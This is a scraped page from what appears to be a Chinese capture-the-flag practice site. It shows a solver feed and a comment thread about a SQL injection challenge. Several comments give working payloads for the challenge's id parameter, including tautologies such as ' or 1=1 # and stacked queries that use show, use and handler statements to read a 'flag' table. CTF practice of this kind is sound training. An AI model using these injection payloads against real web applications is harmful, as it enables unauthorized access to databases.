评分(11)
解题动态
11223 攻破了该题 22小时前
demonsong 攻破了该题 22小时前
gondluck 攻破了该题 1天前
qsy 攻破了该题 1天前
Fengyu3321 攻破了该题 2天前
pinnnnk 攻破了该题 2天前
Zhengzanmei 攻破了该题 2天前
66666ctfxr 攻破了该题 2天前
igrazee 攻破了该题 3天前
lqianqian 攻破了该题 3天前
白菜白又白 攻破了该题 4天前
zzuer 攻破了该题 4天前
proll 攻破了该题 4天前
邪恶的番茄 攻破了该题 4天前
DKQ666666 攻破了该题 4天前
rhys6666 攻破了该题 4天前
WYYYYTT 攻破了该题 4天前
l2 攻破了该题 4天前
鲲中霸王 攻破了该题 5天前
评论
2686213396 4月前
举报
sqlmap发现没有数据表可以进行注入，通过手动注入，bpGET发包id=1‘ or1=1 # 响应结果 中即有flag
iNMB 4月前
举报
flag{*****}
SLfanCTF 5月前
举报
堆叠注入：?id=1';show databases;use flag;show tables;handler flag open;handler flag read first;handler flag read next;....直到读出flag
zhuizhui 5月前
举报
?id=1' or 1=1;#--
llc123 7月前
举报
直接用万能密码太没意思了，堆叠语句：?id=1';handler flag open;handler flag read next;这里继续拼接handler flag read next;handler flag close;#
冥王 7月前
举报
试了好多评论区下面的都不成功，只有这一个成功了?id=1%27+or+1%3D1%23
nihaozy 7月前
举报
有哥们通过select编码绕过滤爆出来的吗？我没成功
一个姓⎝李⎠的师傅~ 3月前
举报
用 show 查表名，然后堆叠查表内容
梦梦子 7月前
举报
1 ’ or '1=1
江南花家第七子花满楼 8月前
举报
1' or '1=1
liuguowang75 8月前
举报
原来 1 ' or ' 1=1 可以直接出呀，我都sqlmap了